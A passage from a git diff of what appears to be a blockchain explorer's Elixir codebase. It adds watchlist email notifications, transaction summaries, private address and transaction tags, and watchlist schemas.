[hash_to_lower_case_string: 1] + + def call(nil), do: nil + def call([]), do: nil + + def call(transactions) when is_list(transactions) do + Enum.map(transactions, fn transaction -> process(transaction) end) + end + + defp process(%Transaction{block_timestamp: block_timestamp} = transaction) when not is_nil(block_timestamp) do + if DateTime.after?(block_timestamp, DateTime.add(DateTime.utc_now(), -1, :day)) do + Logger.debug(transaction, fetcher: :account) + + transaction + |> Summary.process() + |> Enum.map(fn summary -> notify_watchlists(summary) end) + else + nil + end + end + + defp process(_), do: nil + + defp notify_watchlists(%Summary{from_address_hash: nil}), do: nil + defp notify_watchlists(%Summary{to_address_hash: nil}), do: nil + + defp notify_watchlists(%Summary{} = summary) do + incoming_addresses = find_watchlists_addresses(summary.to_address_hash) + outgoing_addresses = find_watchlists_addresses(summary.from_address_hash) + + Logger.debug("--- filled summary", fetcher: :account) + Logger.debug(summary, fetcher: :account) + + Enum.each(incoming_addresses, fn address -> notify_watchlist(address, summary, :incoming) end) + Enum.each(outgoing_addresses, fn address -> notify_watchlist(address, summary, :outgoing) end) + end + + defp notify_watchlists(nil), do: nil + + defp notify_watchlist(%WatchlistAddress{} = address, summary, direction) do + case !WatchlistNotification.limit_reached_for_watchlist_id?(address.watchlist_id) && + ForbiddenAddress.check(address.address_hash) do + {:ok, _address_hash} -> + with %WatchlistNotification{} = notification <- + build_watchlist_notification( + address, + summary, + direction + ) do + notification + |> query_notification(address) + |> Repo.account_repo().all() + |> case do + [] -> save_and_send_notification(notification, address) + _ -> :ok + end + end + + {:error, _message} -> + nil + + false -> + nil + end + end + + defp query_notification(notification, watchlist_address) do + from(wn in WatchlistNotification, + where: + wn.watchlist_address_id == ^watchlist_address.id and + wn.from_address_hash_hash == ^notification.from_address_hash and + wn.to_address_hash_hash == ^notification.to_address_hash and + wn.transaction_hash_hash == ^notification.transaction_hash and + wn.block_number == ^notification.block_number and + wn.direction == ^notification.direction and + wn.subject_hash == ^notification.subject and + wn.amount == ^notification.amount + ) + end + + defp save_and_send_notification(%WatchlistNotification{} = notification, %WatchlistAddress{} = address) do + Repo.account_repo().insert(notification) + + email = Email.compose(notification, address) + + if email do + case Mailer.deliver_now(email, response: true) do + {:ok, _email, response} -> + Logger.info("--- email delivery response: SUCCESS", fetcher: :account) + Logger.info(response, fetcher: :account) + + {:error, error} -> + Logger.info("--- email delivery response: FAILED", fetcher: :account) + Logger.info(error, fetcher: :account) + end + end + end + + @doc """ + direction = :incoming || :outgoing + """ + def build_watchlist_notification(%Explorer.Account.WatchlistAddress{} = address, summary, direction) do + if watched?(address, summary, direction) do + %WatchlistNotification{ + watchlist_address_id: address.id, + watchlist_id: address.watchlist_id, + transaction_hash: summary.transaction_hash, + from_address_hash: summary.from_address_hash, + to_address_hash: summary.to_address_hash, + direction: to_string(direction), + method: summary.method, + block_number: summary.block_number, + amount: summary.amount, + subject: summary.subject, + transaction_fee: summary.transaction_fee, + name: summary.name, + type: summary.type, + from_address_hash_hash: hash_to_lower_case_string(summary.from_address_hash), + to_address_hash_hash: hash_to_lower_case_string(summary.to_address_hash), + transaction_hash_hash: hash_to_lower_case_string(summary.transaction_hash), + subject_hash: summary.subject + } + end + end + + # credo:disable-for-next-line + defp watched?(%WatchlistAddress{} = address, %{type: type}, direction) do + case {type, direction} do + {"COIN", :incoming} -> address.watch_coin_input + {"COIN", :outgoing} -> address.watch_coin_output + {"ERC-20", :incoming} -> address.watch_erc_20_input + {"ERC-20", :outgoing} -> address.watch_erc_20_output + {"ERC-721", :incoming} -> address.watch_erc_721_input + {"ERC-721", :outgoing} -> address.watch_erc_721_output + {"ERC-1155", :incoming} -> address.watch_erc_1155_input + {"ERC-1155", :outgoing} -> address.watch_erc_1155_output + {"ERC-404", :incoming} -> address.watch_erc_404_input + {"ERC-404", :outgoing} -> address.watch_erc_404_output + end + end + + defp find_watchlists_addresses(%Explorer.Chain.Hash{} = address_hash) do + query = from(wa in WatchlistAddress, where: wa.address_hash_hash == ^address_hash) + Repo.account_repo().all(query) + end +end diff --git a/apps/explorer/lib/explorer/account/notifier/summary.ex b/apps/explorer/lib/explorer/account/notifier/summary.ex new file mode 100644 index 000000000000..5ccfef8e6a1b --- /dev/null +++ b/apps/explorer/lib/explorer/account/notifier/summary.ex @@ -0,0 +1,222 @@ +defmodule Explorer.Account.Notifier.Summary do + @moduledoc """ + Compose a summary from transactions + """ + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + alias Explorer + alias Explorer.Account.Notifier.Summary + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Transaction, Wei} + + @unknown "Unknown" + + defstruct [ + :transaction_hash, + :from_address_hash, + :to_address_hash, + :method, + :block_number, + :amount, + :transaction_fee, + :name, + :subject, + :type + ] + + def process(%Chain.Transaction{} = transaction) do + preloaded_transaction = preload(transaction) + + transfers_summaries = + handle_collection( + transaction, + preloaded_transaction.token_transfers + ) + + transaction_summary = fetch_summary(transaction) + + [transaction_summary | transfers_summaries] + |> Enum.filter(fn summary -> + not (is_nil(summary) or + summary == :nothing or + is_nil(summary.amount) or + summary.amount == Decimal.new(0)) + end) + end + + def process(_), do: nil + + def handle_collection(_transaction, []), do: [] + + def handle_collection(transaction, transfers_list) do + Enum.map( + transfers_list, + fn transfer -> + transaction + |> fetch_summary(transfer) + end + ) + end + + defp fetch_summary(%Chain.Transaction{block_number: nil}), do: :nothing + + defp fetch_summary(%Chain.Transaction{created_contract_address_hash: nil} = transaction) do + %Summary{ + transaction_hash: transaction.hash, + method: method(transaction), + from_address_hash: transaction.from_address_hash, + to_address_hash: transaction.to_address_hash, + block_number: transaction.block_number, + amount: amount(transaction), + transaction_fee: fee(transaction), + name: Explorer.coin_name(), + subject: "Coin transaction", + type: "COIN" + } + end + + defp fetch_summary(%Chain.Transaction{to_address_hash: nil} = transaction) do + %Summary{ + transaction_hash: transaction.hash, + method: "contract_creation", + from_address_hash: transaction.from_address_hash, + to_address_hash: transaction.created_contract_address_hash, + block_number: transaction.block_number, + amount: amount(transaction), + transaction_fee: fee(transaction), + name: Explorer.coin_name(), + subject: "Contract creation", + type: "COIN" + } + end + + defp fetch_summary(_), do: :nothing + + defp fetch_summary(%Chain.Transaction{block_number: nil}, _), do: :nothing + + defp fetch_summary( + %Chain.Transaction{} = transaction, + %Chain.TokenTransfer{} = transfer + ) do + case transfer.token.type do + "ERC-20" -> + %Summary{ + transaction_hash: transaction.hash, + method: method(transfer), + from_address_hash: transfer.from_address_hash, + to_address_hash: transfer.to_address_hash, + block_number: transfer.block_number, + amount: amount(transfer), + subject: transfer.token.type, + transaction_fee: fee(transaction), + name: token_name(transfer), + type: transfer.token.type + } + + "ERC-721" -> + %Summary{ + amount: 0, + transaction_hash: transaction.hash, + method: method(transfer), + from_address_hash: transfer.from_address_hash, + to_address_hash: transfer.to_address_hash, + block_number: transfer.block_number, + subject: to_string(transfer.token_ids && List.first(transfer.token_ids)), + transaction_fee: fee(transaction), + name: token_name(transfer), + type: transfer.token.type + } + + "ERC-1155" -> + %Summary{ + amount: 0, + transaction_hash: transaction.hash, + method: method(transfer), + from_address_hash: transfer.from_address_hash, + to_address_hash: transfer.to_address_hash, + block_number: transfer.block_number, + subject: token_ids(transfer), + transaction_fee: fee(transaction), + name: token_name(transfer), + type: transfer.token.type + } + + "ERC-404" -> + token_ids_string = token_ids(transfer) + + %Summary{ + amount: amount(transfer), + transaction_hash: transaction.hash, + method: method(transfer), + from_address_hash: transfer.from_address_hash, + to_address_hash: transfer.to_address_hash, + block_number: transfer.block_number, + subject: if(token_ids_string == "", do: transfer.token.type, else: token_ids_string), + transaction_fee: fee(transaction), + name: token_name(transfer), + type: transfer.token.type + } + end + end + + defp fetch_summary(_, _), do: :nothing + + defp method(%{from_address_hash: from, to_address_hash: to}) do + {:ok, burn_address} = format_address(burn_address_hash_string()) + + cond do + burn_address == from -> "mint" + burn_address == to -> "burn" + true -> "transfer" + end + end + + defp format_address(address_hash_string) do + Chain.string_to_address_hash(address_hash_string) + end + + defp amount(%Chain.Transaction{} = transaction) do + Wei.to(transaction.value, :ether) + end + + defp amount(%Chain.TokenTransfer{amount: amount}) when is_nil(amount), do: nil + + defp amount(%Chain.TokenTransfer{amount: amount} = transfer) do + decimals = + Decimal.new( + Integer.pow( + 10, + Decimal.to_integer(token_decimals(transfer)) + ) + ) + + Decimal.div( + amount, + decimals + ) + end + + defp token_ids(%Chain.TokenTransfer{token_ids: nil}), do: "" + + defp token_ids(%Chain.TokenTransfer{token_ids: token_ids}) do + Enum.map_join(token_ids, ", ", fn id -> to_string(id) end) + end + + defp token_name(%Chain.TokenTransfer{} = transfer) do + transfer.token.name || @unknown + end + + defp token_decimals(%Chain.TokenTransfer{} = transfer) do + transfer.token.decimals || Decimal.new(0) + end + + defp fee(%Chain.Transaction{} = transaction) do + {_, fee} = Transaction.fee(transaction, :gwei) + fee + end + + defp preload(%Chain.Transaction{} = transaction) do + Repo.preload(transaction, token_transfers: :token) + end +end diff --git a/apps/explorer/lib/explorer/account/notify.ex b/apps/explorer/lib/explorer/account/notify.ex new file mode 100644 index 000000000000..8e717f538f41 --- /dev/null +++ b/apps/explorer/lib/explorer/account/notify.ex @@ -0,0 +1,43 @@ +defmodule Explorer.Account.Notify do + @moduledoc """ + Interface for notifier, for import and call from other modules + """ + + alias Explorer.Account + alias Explorer.Account.Notifier.Notify + + require Logger + + def async(transactions) do + Task.async(fn -> process(transactions) end) + end + + defp process(transactions) do + if Account.enabled?() do + check_envs() + Notify.call(transactions) + end + rescue + err -> + Logger.info("--- Notifier error", fetcher: :account) + :error |> Exception.format(err, __STACKTRACE__) |> Logger.info(fetcher: :account) + end + + defp check_envs do + check_auth0() + check_sendgrid() + end + + defp check_auth0 do + (Application.get_env(:ueberauth, Ueberauth.Strategy.Auth0.OAuth)[:client_id] && + Application.get_env(:ueberauth, Ueberauth.Strategy.Auth0.OAuth)[:client_secret] && + Application.get_env(:ueberauth, Ueberauth.Strategy.Auth0.OAuth)[:domain]) || + raise "Auth0 not configured" + end + + defp check_sendgrid do + (Application.get_env(:explorer, Explorer.Account)[:sendgrid][:sender] && + Application.get_env(:explorer, Explorer.Account)[:sendgrid][:template]) || + raise "SendGrid not configured" + end +end diff --git a/apps/explorer/lib/explorer/account/tag_address.ex b/apps/explorer/lib/explorer/account/tag_address.ex new file mode 100644 index 000000000000..caea1f365f13 --- /dev/null +++ b/apps/explorer/lib/explorer/account/tag_address.ex @@ -0,0 +1,255 @@ +defmodule Explorer.Account.TagAddress do + @moduledoc """ + User created custom address tags. + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Ecto.{Changeset, Multi} + alias Explorer.Account.Identity + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.{Address, Hash} + + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + + @user_not_found "User not found" + + typed_schema "account_tag_addresses" do + field(:address_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:name, Explorer.Encrypted.Binary, null: false) + field(:address_hash, Explorer.Encrypted.AddressHash, null: false) + field(:user_created, :boolean, null: false, default: true) + + belongs_to(:identity, Identity, null: false) + + timestamps() + end + + @attrs ~w(name identity_id address_hash)a + + def changeset do + %__MODULE__{} + |> cast(%{}, @attrs) + end + + @doc false + def changeset(tag, attrs) do + tag + |> cast(attrs, @attrs) + |> validate_required(@attrs, message: "Required") + |> validate_length(:name, min: 1, max: 35) + |> put_hashed_fields() + |> foreign_key_constraint(:identity_id, message: @user_not_found) + |> unique_constraint([:identity_id, :address_hash_hash], message: "Address tag already exists") + |> check_existence_or_create_address() + |> tag_address_count_constraint() + end + + @doc """ + Creates a new tag address record in a transactional context. + + Attempts to create a tag address while ensuring the referenced identity exists by + acquiring a database lock. The function handles both the case where the identity + ID is provided and where it is missing. + + ## Parameters + - `attrs`: A map of attributes that must include: + - `:identity_id`: The ID of the associated identity + + ## Returns + - `{:ok, tag_address}` - The created tag address record + - `{:error, changeset}` - A changeset with validation errors if: + - The identity doesn't exist + - The identity ID is missing + - Other validation constraints are not met + """ + @spec create(map()) :: {:ok, t()} | {:error, Changeset.t()} + def create(%{identity_id: identity_id} = attrs) do + Multi.new() + |> Identity.acquire_with_lock(identity_id) + |> Multi.insert(:tag_address, fn _ -> + %__MODULE__{} + |> changeset(attrs) + end) + |> Repo.account_repo().transaction() + |> case do + {:ok, %{tag_address: tag_address}} -> + {:ok, tag_address} + + {:error, :acquire_identity, :not_found, _changes} -> + {:error, + %__MODULE__{} + |> changeset(attrs) + |> add_error(:identity_id, @user_not_found, + constraint: :foreign, + constraint_name: "account_tag_addresses_identity_id_fkey" + )} + + {:error, _failed_operation, error, _changes} -> + {:error, error} + end + end + + def create(attrs) do + {:error, + %__MODULE__{} + |> changeset(attrs)} + end + + defp put_hashed_fields(changeset) do + # Using force_change instead of put_change due to https://github.com/danielberkompas/cloak_ecto/issues/53 + changeset + |> force_change(:address_hash_hash, hash_to_lower_case_string(get_field(changeset, :address_hash))) + end + + defp check_existence_or_create_address(%Changeset{changes: %{address_hash: address_hash}, valid?: true} = changeset) do + check_existence_or_create_address_inner(changeset, address_hash) + end + + defp check_existence_or_create_address(changeset), do: changeset + + defp check_existence_or_create_address_inner(changeset, address_hash) do + with {:ok, hash} <- Hash.Address.cast(address_hash), + {:ok, %Address{}} <- Chain.find_or_insert_address_from_hash(hash, []) do + changeset + end + end + + def tag_address_count_constraint(%Changeset{changes: %{identity_id: identity_id}} = tag_address) do + max_tags_count = get_max_tags_count() + + if identity_id + |> tags_address_by_identity_id_query() + |> limit(^max_tags_count) + |> Repo.account_repo().aggregate(:count, :id) >= max_tags_count do + tag_address + |> add_error(:name, "Max #{max_tags_count} tags per account") + else + tag_address + end + end + + def tag_address_count_constraint(changeset), do: changeset + + def tags_address_by_identity_id_query(id) when not is_nil(id) do + __MODULE__ + |> where([tag], tag.identity_id == ^id) + end + + def tags_address_by_identity_id_query(_), do: nil + + @doc """ + Query paginated private address tags by identity id + """ + @spec get_tags_address_by_identity_id(integer(), [Chain.paging_options()]) :: [__MODULE__] + def get_tags_address_by_identity_id(id, options \\ []) + + def get_tags_address_by_identity_id(id, options) when not is_nil(id) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + id + |> tags_address_by_identity_id_query() + |> order_by([tag], desc: tag.id) + |> page_address_tags(paging_options) + |> limit(^paging_options.page_size) + |> Repo.account_repo().all() + end + end + + def get_tags_address_by_identity_id(_, _), do: [] + + defp page_address_tags(query, %PagingOptions{key: {id}}) do + query + |> where([tag], tag.id < ^id) + end + + defp page_address_tags(query, _), do: query + + def tag_address_by_address_hash_and_identity_id_query(address_hash, identity_id) + when not is_nil(address_hash) and not is_nil(identity_id) do + __MODULE__ + |> where([tag], tag.identity_id == ^identity_id and tag.address_hash == ^address_hash) + end + + def tag_address_by_address_hash_and_identity_id_query(_, _), do: nil + + def get_tag_address_by_address_hash_and_identity_id(address_hash, identity_id) + when not is_nil(address_hash) and not is_nil(identity_id) do + address_hash + |> hash_to_lower_case_string() + |> tag_address_by_address_hash_and_identity_id_query(identity_id) + |> Repo.account_repo().one() + end + + def get_tag_address_by_address_hash_and_identity_id(_, _), do: nil + + def tag_address_by_id_and_identity_id_query(tag_id, identity_id) + when not is_nil(tag_id) and not is_nil(identity_id) do + __MODULE__ + |> where([tag], tag.identity_id == ^identity_id and tag.id == ^tag_id) + end + + def tag_address_by_id_and_identity_id_query(_, _), do: nil + + def get_tag_address_by_id_and_identity_id_query(tag_id, identity_id) + when not is_nil(tag_id) and not is_nil(identity_id) do + tag_id + |> tag_address_by_id_and_identity_id_query(identity_id) + |> Repo.account_repo().one() + end + + def get_tag_address_by_id_and_identity_id_query(_, _), do: nil + + def delete(tag_id, identity_id) when not is_nil(tag_id) and not is_nil(identity_id) do + tag_id + |> tag_address_by_id_and_identity_id_query(identity_id) + |> Repo.account_repo().delete_all() + end + + def delete(_, _), do: nil + + def update(%{id: tag_id, identity_id: identity_id} = attrs) do + with tag <- get_tag_address_by_id_and_identity_id_query(tag_id, identity_id), + false <- is_nil(tag) do + tag |> changeset(attrs) |> Repo.account_repo().update() + else + true -> + {:error, %{reason: :item_not_found}} + end + end + + def get_max_tags_count, do: Application.get_env(:explorer, Explorer.Account)[:private_tags_limit] + + @doc """ + Merges address tags from multiple identities into a primary identity. + + This function updates the `identity_id` of all address tags belonging to the + identities specified in `ids_to_merge` to the `primary_id`. It's designed to + be used as part of an Ecto.Multi transaction. + + ## Parameters + - `multi`: An Ecto.Multi struct to which this operation will be added. + - `primary_id`: The ID of the primary identity that will own the merged keys. + - `ids_to_merge`: A list of identity IDs whose address tags will be merged. + + ## Returns + - An updated Ecto.Multi struct with the merge operation added. + """ + @spec merge(Multi.t(), integer(), [integer()]) :: Multi.t() + def merge(multi, primary_id, ids_to_merge) do + Multi.run(multi, :merge_tag_addresses, fn repo, _ -> + {:ok, + repo.update_all( + from(key in __MODULE__, where: key.identity_id in ^ids_to_merge), + set: [identity_id: primary_id, user_created: false] + )} + end) + end +end diff --git a/apps/explorer/lib/explorer/account/tag_transaction.ex b/apps/explorer/lib/explorer/account/tag_transaction.ex new file mode 100644 index 000000000000..893475894765 --- /dev/null +++ b/apps/explorer/lib/explorer/account/tag_transaction.ex @@ -0,0 +1,270 @@ +defmodule Explorer.Account.TagTransaction do + @moduledoc """ + This is a personal tag for transaction + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Ecto.{Changeset, Multi} + alias Explorer.Account.Identity + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.Hash + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + + @user_not_found "User not found" + + typed_schema "account_tag_transactions" do + field(:transaction_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:name, Explorer.Encrypted.Binary, null: false) + field(:transaction_hash, Explorer.Encrypted.TransactionHash, null: false) + field(:user_created, :boolean, null: false, default: true) + + belongs_to(:identity, Identity, null: false) + + timestamps() + end + + @attrs ~w(name identity_id transaction_hash)a + + def changeset do + %__MODULE__{} + |> cast(%{}, @attrs) + end + + @doc false + def changeset(tag, attrs) do + tag + |> cast(attrs, @attrs) + |> validate_required(@attrs, message: "Required") + |> validate_length(:name, min: 1, max: 35) + |> foreign_key_constraint(:identity_id, message: @user_not_found) + |> put_hashed_fields() + |> unique_constraint([:identity_id, :transaction_hash_hash], message: "Transaction tag already exists") + |> tag_transaction_count_constraint() + |> check_transaction_existence() + end + + @doc """ + Creates a new tag transaction record in a transactional context. + + Ensures data consistency by acquiring a lock on the associated identity record + before creating the tag transaction. The operation either succeeds completely or + fails without side effects. + + ## Parameters + - `attrs`: A map of attributes that must include: + - `:identity_id`: The ID of the associated identity + + ## Returns + - `{:ok, tag_transaction}` - Successfully created tag transaction record + - `{:error, changeset}` - A changeset with errors if: + - The identity doesn't exist + - The identity ID is missing from the attributes + - The changeset validation fails + """ + @spec create(map()) :: {:ok, t()} | {:error, Changeset.t()} + def create(%{identity_id: identity_id} = attrs) do + Multi.new() + |> Identity.acquire_with_lock(identity_id) + |> Multi.insert(:tag_transaction, fn _ -> + %__MODULE__{} + |> changeset(attrs) + end) + |> Repo.account_repo().transaction() + |> case do + {:ok, %{tag_transaction: tag_transaction}} -> + {:ok, tag_transaction} + + {:error, :tag_transaction, :not_found, _changes} -> + {:error, + %__MODULE__{} + |> changeset(attrs) + |> add_error(:identity_id, @user_not_found, + constraint: :foreign, + constraint_name: "account_tag_transactions_identity_id_fkey" + )} + + {:error, _failed_operation, error, _changes} -> + {:error, error} + end + end + + def create(attrs) do + {:error, + %__MODULE__{} + |> changeset(attrs)} + end + + defp put_hashed_fields(changeset) do + # Using force_change instead of put_change due to https://github.com/danielberkompas/cloak_ecto/issues/53 + changeset + |> force_change(:transaction_hash_hash, hash_to_lower_case_string(get_field(changeset, :transaction_hash))) + end + + defp check_transaction_existence(%Changeset{changes: %{transaction_hash: transaction_hash}} = changeset) do + check_transaction_existence_inner(changeset, transaction_hash) + end + + defp check_transaction_existence(changeset), do: changeset + + defp check_transaction_existence_inner(changeset, transaction_hash) do + if match?({:ok, _}, Chain.hash_to_transaction(transaction_hash)) do + changeset + else + add_error(changeset, :transaction_hash, "Transaction does not exist") + end + end + + def tag_transaction_count_constraint(%Changeset{changes: %{identity_id: identity_id}} = tag_transaction) do + max_tags_count = get_max_tags_count() + + if identity_id + |> tags_transaction_by_identity_id_query() + |> limit(^max_tags_count) + |> Repo.account_repo().aggregate(:count, :id) >= max_tags_count do + tag_transaction + |> add_error(:name, "Max #{max_tags_count} tags per account") + else + tag_transaction + end + end + + def tag_transaction_count_constraint(changeset), do: changeset + + def tags_transaction_by_identity_id_query(id) when not is_nil(id) do + __MODULE__ + |> where([tag], tag.identity_id == ^id) + end + + def tags_transaction_by_identity_id_query(_), do: nil + + @doc """ + Query paginated private transaction tags by identity id + """ + @spec get_tags_transaction_by_identity_id(integer(), [Chain.paging_options()]) :: [__MODULE__] + def get_tags_transaction_by_identity_id(id, options \\ []) + + def get_tags_transaction_by_identity_id(id, options) when not is_nil(id) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + id + |> tags_transaction_by_identity_id_query() + |> order_by([tag], desc: tag.id) + |> page_transaction_tags(paging_options) + |> limit(^paging_options.page_size) + |> Repo.account_repo().all() + end + end + + def get_tags_transaction_by_identity_id(_, _), do: [] + + defp page_transaction_tags(query, %PagingOptions{key: {id}}) do + query + |> where([tag], tag.id < ^id) + end + + defp page_transaction_tags(query, _), do: query + + @doc """ + Retrieves tag transactions for a given transaction hash and identity ID. + + This function queries the database for all tag transactions that match both + the provided transaction hash and identity ID. + + ## Parameters + - `transaction_hash`: The transaction hash to search for. Can be a `String.t()`, + `Explorer.Chain.Hash.Full.t()`, or `nil`. + - `identity_id`: The identity ID to search for. Can be an `integer()` or `nil`. + + ## Returns + - A list of `Explorer.Account.TagTransaction` structs if matching records are found. + - `nil` if either `transaction_hash` or `identity_id` is `nil`. + """ + @spec get_tag_transaction_by_transaction_hash_and_identity_id(String.t() | Hash.Full.t() | nil, integer() | nil) :: + [__MODULE__.t()] | nil + def get_tag_transaction_by_transaction_hash_and_identity_id(transaction_hash, identity_id) + when not is_nil(transaction_hash) and not is_nil(identity_id) do + query = + from(tag in __MODULE__, where: tag.transaction_hash_hash == ^transaction_hash and tag.identity_id == ^identity_id) + + Repo.account_repo().all(query) + end + + def get_tag_transaction_by_transaction_hash_and_identity_id(_, _), do: nil + + def tag_transaction_by_id_and_identity_id_query(tag_id, identity_id) + when not is_nil(tag_id) and not is_nil(identity_id) do + __MODULE__ + |> where([tag], tag.identity_id == ^identity_id and tag.id == ^tag_id) + end + + def tag_transaction_by_id_and_identity_id_query(_, _), do: nil + + def get_tag_transaction_by_id_and_identity_id_query(tag_id, identity_id) + when not is_nil(tag_id) and not is_nil(identity_id) do + tag_id + |> tag_transaction_by_id_and_identity_id_query(identity_id) + |> Repo.account_repo().one() + end + + def get_tag_transaction_by_id_and_identity_id_query(_, _), do: nil + + def delete(tag_id, identity_id) when not is_nil(tag_id) and not is_nil(identity_id) do + tag_id + |> tag_transaction_by_id_and_identity_id_query(identity_id) + |> Repo.account_repo().delete_all() + end + + def delete(_, _), do: nil + + def update(%{id: tag_id, identity_id: identity_id} = attrs) do + with tag <- get_tag_transaction_by_id_and_identity_id_query(tag_id, identity_id), + false <- is_nil(tag) do + tag |> changeset(attrs) |> Repo.account_repo().update() + else + true -> + {:error, %{reason: :item_not_found}} + end + end + + def get_max_tags_count, do: Application.get_env(:explorer, Explorer.Account)[:private_tags_limit] + + @doc """ + Merges transaction tags from multiple identities into a primary identity. + + This function updates the `identity_id` of all transaction tags belonging to the + identities specified in `ids_to_merge` to the `primary_id`. It's designed to + be used as part of an Ecto.Multi transaction. + + ## Parameters + - `multi`: An Ecto.Multi struct to which this operation will be added. + - `primary_id`: The ID of the primary identity that will own the merged keys. + - `ids_to_merge`: A list of identity IDs whose transaction tags will be merged. + + ## Returns + - An updated Ecto.Multi struct with the merge operation added. + """ + @spec merge(Multi.t(), integer(), [integer()]) :: Multi.t() + def merge(multi, primary_id, ids_to_merge) do + Multi.run(multi, :merge_tag_transactions, fn repo, _ -> + {:ok, + repo.update_all( + from(key in __MODULE__, where: key.identity_id in ^ids_to_merge), + set: [identity_id: primary_id, user_created: false] + )} + end) + end +end + +defimpl Jason.Encoder, for: Explorer.Account.TagTransaction do + def encode(transaction_tag, opts) do + Jason.Encode.string(transaction_tag.name, opts) + end +end diff --git a/apps/explorer/lib/explorer/account/watchlist.ex b/apps/explorer/lib/explorer/account/watchlist.ex new file mode 100644 index 000000000000..bb32b0244b82 --- /dev/null +++ b/apps/explorer/lib/explorer/account/watchlist.ex @@ -0,0 +1,93 @@ +defmodule Explorer.Account.Watchlist do + @moduledoc """ + Watchlist is root entity for WatchlistAddresses + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Ecto.Multi + alias Explorer.Account.{Identity, WatchlistAddress} + + @derive {Jason.Encoder, only: [:name, :watchlist_addresses]} + typed_schema "account_watchlists" do + field(:name, :string, null: false) + belongs_to(:identity, Identity) + has_many(:watchlist_addresses, WatchlistAddress) + + timestamps() + end + + @doc false + def changeset(watchlist, attrs) do + watchlist + |> cast(attrs, [:name]) + |> validate_required([:name]) + end + + @doc """ + Acquires data for merging from the database. + + This function is used to fetch data from the database in preparation for a merge operation. + It retrieves both the primary watchlist and the watchlists to be merged. + + ## Parameters + + * `multi` - An `Ecto.Multi` struct representing the current multi-operation transaction. + * `primary_id` - An integer representing the ID of the primary identity. + * `ids_to_merge` - A list of integers representing the IDs of the identities to be merged. + + ## Returns + + Returns an updated `Ecto.Multi` struct with two additional operations: + + * `:acquire_primary_watchlist` - Fetches the watchlists associated with the primary identity. + * `:acquire_watchlists_to_merge` - Fetches the watchlists associated with the identities to be merged. + + ## Notes + + This function is typically used as part of a larger transaction process for merging watchlists. + It prepares the data needed for the merge without actually performing the merge operation. + """ + @spec acquire_for_merge(Multi.t(), integer(), [integer()]) :: Multi.t() + def acquire_for_merge(multi, primary_id, ids_to_merge) do + multi + |> Multi.run(:acquire_primary_watchlist, fn repo, _ -> + {:ok, repo.all(from(watchlist in __MODULE__, where: watchlist.identity_id == ^primary_id))} + end) + |> Multi.run(:acquire_watchlists_to_merge, fn repo, _ -> + {:ok, repo.all(from(watchlist in __MODULE__, where: watchlist.identity_id in ^ids_to_merge))} + end) + end + + @doc """ + Adds an operation to acquire and lock a watchlist record in a database transaction. + + Performs a SELECT FOR UPDATE on the watchlist record to prevent concurrent + modifications until the transaction is committed or rolled back. + + ## Parameters + - `multi`: An Ecto.Multi struct containing a series of database operations + - `watchlist_id`: The ID of the watchlist to lock + + ## Returns + An updated Ecto.Multi struct with the `:acquire_watchlist` operation that will: + - Return `{:ok, watchlist}` if the watchlist is found and locked + - Return `{:error, :not_found}` if no watchlist exists with the given ID + """ + @spec acquire_with_lock(Multi.t(), integer()) :: Multi.t() + def acquire_with_lock(multi, watchlist_id) do + Multi.run(multi, :acquire_watchlist, fn repo, _ -> + watchlist_query = from(watchlist in __MODULE__, where: watchlist.id == ^watchlist_id, lock: "FOR UPDATE") + + case repo.one(watchlist_query) do + nil -> + {:error, :not_found} + + watchlist -> + {:ok, watchlist} + end + end) + end +end diff --git a/apps/explorer/lib/explorer/account/watchlist_address.ex b/apps/explorer/lib/explorer/account/watchlist_address.ex new file mode 100644 index 000000000000..356734713057 --- /dev/null +++ b/apps/explorer/lib/explorer/account/watchlist_address.ex @@ -0,0 +1,311 @@ +defmodule Explorer.Account.WatchlistAddress do + @moduledoc """ + WatchlistAddress entity + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Ecto.{Changeset, Multi} + alias Explorer.Account.Notifier.ForbiddenAddress + alias Explorer.Account.Watchlist + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.{Address, Wei} + + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + + @watchlist_not_found "Watchlist not found" + + typed_schema "account_watchlist_addresses" do + field(:address_hash_hash, Cloak.Ecto.SHA256) :: binary() | nil + field(:name, Explorer.Encrypted.Binary, null: false) + field(:address_hash, Explorer.Encrypted.AddressHash, null: false) + field(:user_created, :boolean, null: false, default: true) + + belongs_to(:watchlist, Watchlist, null: false) + + field(:watch_coin_input, :boolean, default: true, null: false) + field(:watch_coin_output, :boolean, default: true, null: false) + field(:watch_erc_20_input, :boolean, default: true, null: false) + field(:watch_erc_20_output, :boolean, default: true, null: false) + field(:watch_erc_721_input, :boolean, default: true, null: false) + field(:watch_erc_721_output, :boolean, default: true, null: false) + field(:watch_erc_1155_input, :boolean, default: true, null: false) + field(:watch_erc_1155_output, :boolean, default: true, null: false) + field(:watch_erc_404_input, :boolean, default: true, null: false) + field(:watch_erc_404_output, :boolean, default: true, null: false) + field(:notify_email, :boolean, default: true, null: false) + field(:notify_epns, :boolean) + field(:notify_feed, :boolean) + field(:notify_inapp, :boolean) + + field(:fetched_coin_balance, Wei, virtual: true) + field(:tokens_fiat_value, :decimal, virtual: true) + field(:tokens_count, :integer, virtual: true) + field(:tokens_overflow, :boolean, virtual: true) + + timestamps() + end + + @attrs ~w(name address_hash watch_coin_input watch_coin_output watch_erc_20_input watch_erc_20_output watch_erc_721_input watch_erc_721_output watch_erc_1155_input watch_erc_1155_output watch_erc_404_input watch_erc_404_output notify_email notify_epns notify_feed notify_inapp watchlist_id)a + + def changeset do + %__MODULE__{} + |> cast(%{}, @attrs) + end + + @doc false + def changeset(watchlist_address, attrs \\ %{}) do + watchlist_address + |> cast(attrs, 